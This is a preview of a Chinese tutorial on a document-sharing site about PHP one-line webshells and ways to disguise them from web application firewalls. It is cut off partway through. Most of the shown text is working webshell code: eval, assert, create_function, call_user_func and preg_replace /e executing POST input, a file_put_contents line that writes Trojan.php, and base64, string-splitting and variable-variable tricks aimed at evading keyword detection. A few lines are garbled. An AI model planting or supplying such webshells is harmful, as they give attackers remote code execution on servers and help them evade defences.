php一句話木馬變形技巧_第1頁
php一句話木馬變形技巧_第2頁
php一句話木馬變形技巧_第3頁
php一句話木馬變形技巧_第4頁
php一句話木馬變形技巧_第5頁
已閱讀5頁,還剩1頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

第php一句話木馬變形技巧目錄一、什么是一句話木馬?二、我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?0.eval函數(shù)1.assert函數(shù)2.create_function函數(shù)3.call_user_func回調(diào)函數(shù)4.preg_replace函數(shù)5.file_put_contents函數(shù)6.array數(shù)組7.PHP變量函數(shù)三、如何讓一句話木馬繞過waf1.PHP可變變量2.str_replace函數(shù)3.base64_decode函數(shù)4."."操作符5.parse_str函數(shù)6.更換數(shù)據(jù)來源7.字符替換或特殊編碼8.木馬藏匿四、總結(jié)五、防御

一、什么是一句話木馬?

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當(dāng)?shù)墓δ堋榱死@過waf的檢測,一句話木馬出現(xiàn)了無數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令。

二、我們?nèi)绾伟l(fā)送命令,發(fā)送的命令如何執(zhí)行?

我們可以通過GET、POST、COOKIE這三種方式向一個網(wǎng)站提交數(shù)據(jù),一句話木馬用$_GET['']、$_POST['']、$_COOKIE['']接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話木馬中執(zhí)行命令的函數(shù),進(jìn)而執(zhí)行命令。所以看到的經(jīng)典一句話木馬大多都是只有兩個部分,一個是可以執(zhí)行代碼的函數(shù)部分,一個是接收數(shù)據(jù)的部分。

0.eval函數(shù)

phpeval($_POST['a'])

其中eval就是執(zhí)行命令的函數(shù),**$_POST[‘a(chǎn)']**就是接收的數(shù)據(jù)。eval函數(shù)把接收的數(shù)據(jù)當(dāng)作PHP代碼來執(zhí)行。這樣我們就能夠讓插入了一句話木馬的網(wǎng)站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強(qiáng)大之處。

因為木馬是接收post請求中“a”的數(shù)據(jù)($_POST[‘a(chǎn)']),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”,

使用其他函數(shù)制作一句話木馬

1.assert函數(shù)

phpassert(@$_POST['a']);

2.create_function函數(shù)

php$fun=create_function('',$_POST['a']);$fun();

把用戶傳遞的數(shù)據(jù)生成一個函數(shù)fun(),然后再執(zhí)行fun()

3.call_user_func回調(diào)函數(shù)

php@call_user_func(assert,$_POST['a']);

call_user_func這個函數(shù)可以調(diào)用其它函數(shù),被調(diào)用的函數(shù)是call_user_func的第一個函數(shù),被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個參數(shù)。

這樣的一個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函數(shù)繞過waf。

4.preg_replace函數(shù)

php@preg_replace("/abcde/e",$_POST['a'],"abcdefg");

這個函數(shù)原本是利用正則表達(dá)式替換符合條件的字符串,但是這個函數(shù)有一個功能——可執(zhí)行命令。

這個函數(shù)的第一個參數(shù)是正則表達(dá)式,按照PHP的格式,表達(dá)式在兩個“/”之間。如果我們在這個表達(dá)式的末尾加上“e”,那么這個函數(shù)的第二個參數(shù)就會被當(dāng)作代碼執(zhí)行。

5.file_put_contents函數(shù)

利用函數(shù)生成木馬

$test='php$a=$_POST["cmd"];assert($a);

file_put_contents("Trojan.php",$test);

函數(shù)功能:生成一個文件,第一個參數(shù)是文件名,第二個參數(shù)是文件的內(nèi)容。

6.array數(shù)組

php$a='assert';array_map("$a",$_REQUEST);

上述定義參數(shù)a并賦值‘a(chǎn)ssert',利用array_map()函數(shù)將執(zhí)行語句進(jìn)行拼接。最終實現(xiàn)assert($_REQUEST)。

php$item['JON']='assert';$array[]=$item;$array[0]['JON']($_POST["TEST"]);

利用函數(shù)的組合效果,使得多個參數(shù)在傳遞后組合成一段命令并執(zhí)行。

7.PHP變量函數(shù)

php$a="eval";$a(@$_POST['a']);

第三行使用了變量函數(shù)$a,變量儲存了函數(shù)名eval,便可以直接用變量替代函數(shù)名。

三、如何讓一句話木馬繞過waf

waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種。waf通常以關(guān)鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結(jié)合起來,設(shè)計出屬于自己的一句話木馬。

1.PHP可變變量

php$bb="eval";$aa="bb";$$aa($_POST['a']);

看這句就能理解上述語句:$$aa=(((aa)=$(‘bb')=$bb=“eval”

2.str_replace函數(shù)

php$a=str_replace("Waldo","","eWaldoval");$a(@$_POST['a']);

函數(shù)功能:在第三個參數(shù)中,查找第一個參數(shù),并替換成第二個參數(shù)。這里第二個參數(shù)為空字符串,就相當(dāng)于刪除"Waldo"。

3.base64_decode函數(shù)

php$a=base64_decode("ZXZhbA==")$a($_POST['a']);

這里是base64解密函數(shù),"ZXZhbA=="是eval的base64加密。

4."."操作符

php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);

5.parse_str函數(shù)

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論